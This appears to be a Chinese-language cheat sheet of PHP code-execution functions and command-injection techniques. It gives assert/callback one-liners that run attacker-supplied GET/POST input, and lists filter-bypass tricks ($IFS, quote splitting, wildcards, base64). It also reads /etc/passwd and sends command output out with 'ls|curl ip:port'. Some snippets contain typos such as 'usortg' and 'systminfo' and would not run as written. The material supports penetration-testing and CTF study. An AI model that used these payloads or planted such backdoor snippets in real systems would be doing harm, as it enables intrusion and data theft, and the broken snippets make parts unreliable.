一.代碼執行
1.常見的執行函數
(1).eval()將字符串當作函數執行
1 <?php 2 eval (echo "hello";); 3 ?>
(2).assert()判斷是否是字符串,是則代碼執行
1 <?php 2 $a='assert'; 3 $a(phpinfo()); 4 ?>
(3).call_user_func()回調函數,可以使用is_callable查看是否可以進行調用,其中可以傳遞內置和用戶自定義的函數.
1 <?php 2 $a='system' 3 $b='systminfo'; 4 call_user_func($a,$b); 5 call_user_func('eval','phpinfo()'); 6 ?>
(4).call_user_fuc_array():回調函數,參數位數組
1 <?php 2 $array[0]=$_POST['a']; 3 call_user_func_array("assert",$array); 4 ?>
(5)preg_replace() 當為/e時代碼會執行,前提是不超過php7
1 <?php 2 $a='phpinfo()'; 3 $b=preg_replace("/abc/e",$a,'abc'); 4 ?>
(6)array_map()為數組的每個元素應用回調函數,使用/?a=assert&b=phpinfo();
1 <?php 2 $a=$_GET['a']; 3 $b=$_GET['b']; 4 $array[0]=$b; 5 $c=array_map($a,$array); 6 ?>
(7)array_filter依次將array數組中的每個值傳遞到callback函數。如果callback函數返回true,則array數組的當前值會被包含在返回的結果數組中。數組的鍵名保持不變
1 <?php 2 $array[0]=$_GET['a']; 3 array_filter($array,'assert'); 4 ?>
(8)usort使用自定義函數對數組進行排序,用法1[]=phpinfo()&1[]=123$2[]=assert,過程就是GET變量被展開成連個參數['phpinfo()','123']和assert,傳入usort函數。usort函數的第二個參數是回調函數assert,其調用了第一個參數的phpinfo();
1 <?php 2 usortg($_GET[1],'assert'); 3 ?>
(9) uasort()使用用戶自定義的比較函數對數組的值進行排序並保持索引關聯
1 <?php 2 $e='assert'; 3 $arr=array($_REQUEST['pass'],'test'); 4 uasort($arr,$e); 5 ?>
(10)${}中間的php代碼將會被解析
1 <?php 2 ${phpinfo()}; 3 ?>
二. 命令執行
1.常見的命令執行函數
(1)system()可以執行系統命令並將其輸出
1 <?php 2 system('pwd'); 3 system('whoami'); 4 ?>
(2)exec()執行命令,但是無輸出。
1 <?php 2 highlight_file(__FILE__); 3 $b=exec('whoami'); 4 var_dump($b); 5 ?>
(3)passthru執行命令輸出
1 <?php 2 highlight_file(__FILE__); 3 passthru('systeminfo'); 4 ?>
(4)shell_exec執行命令但無回顯
1 <?php 2 highlight_file(__FILE__); 3 var_dump(shell_exec('ipconfig')); 4 ?>
(5)反問號,執行shell命令,並返回輸出的字符串
1 <?php 2 highlight_file(__FILE__); 3 $a = 'ipconfig'; 4 echo `$a`; 5 ?>
(6)ob_start打開輸出控制緩沖
1 <?php 2 ob_start("system"); 3 echo "whoami"; 4 ob_end_flush(); 5 ?>
2.繞過
(1)常見的分隔符
換行符%0a
回車符%0d
連續指令 ;
后台進程 &
管道符 |
邏輯 || &&
(2)繞過空格
$IFS
<
${IFS}
$IFS$9
$%09
(3)各類符號
1 echo "${PATH:0:1}" 2 echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`" 3 echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)` 4 expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1
%0a,%0d,%00,%20
(4)銘感字符繞過
變量繞過:a=l;b=s;$a$b
(5)編碼繞過
echo 'cat' |base64
(6)未定義的初始化變量
cat $b /etc/passwd
(7)連接符
cat /etc/pass'w'd
(8)使用通配符
/???/?s --help
(9)無回顯
使用延時函數,比如:ls|sleep 3
使用http,比如:ls|curl ip:port
使用DNS
(10)長度繞過
如15位命令執行,7位命令執行,5位命令執行,4位命令執行
(11)無字母數字的命令執行
1.異或
2.取反
3.自增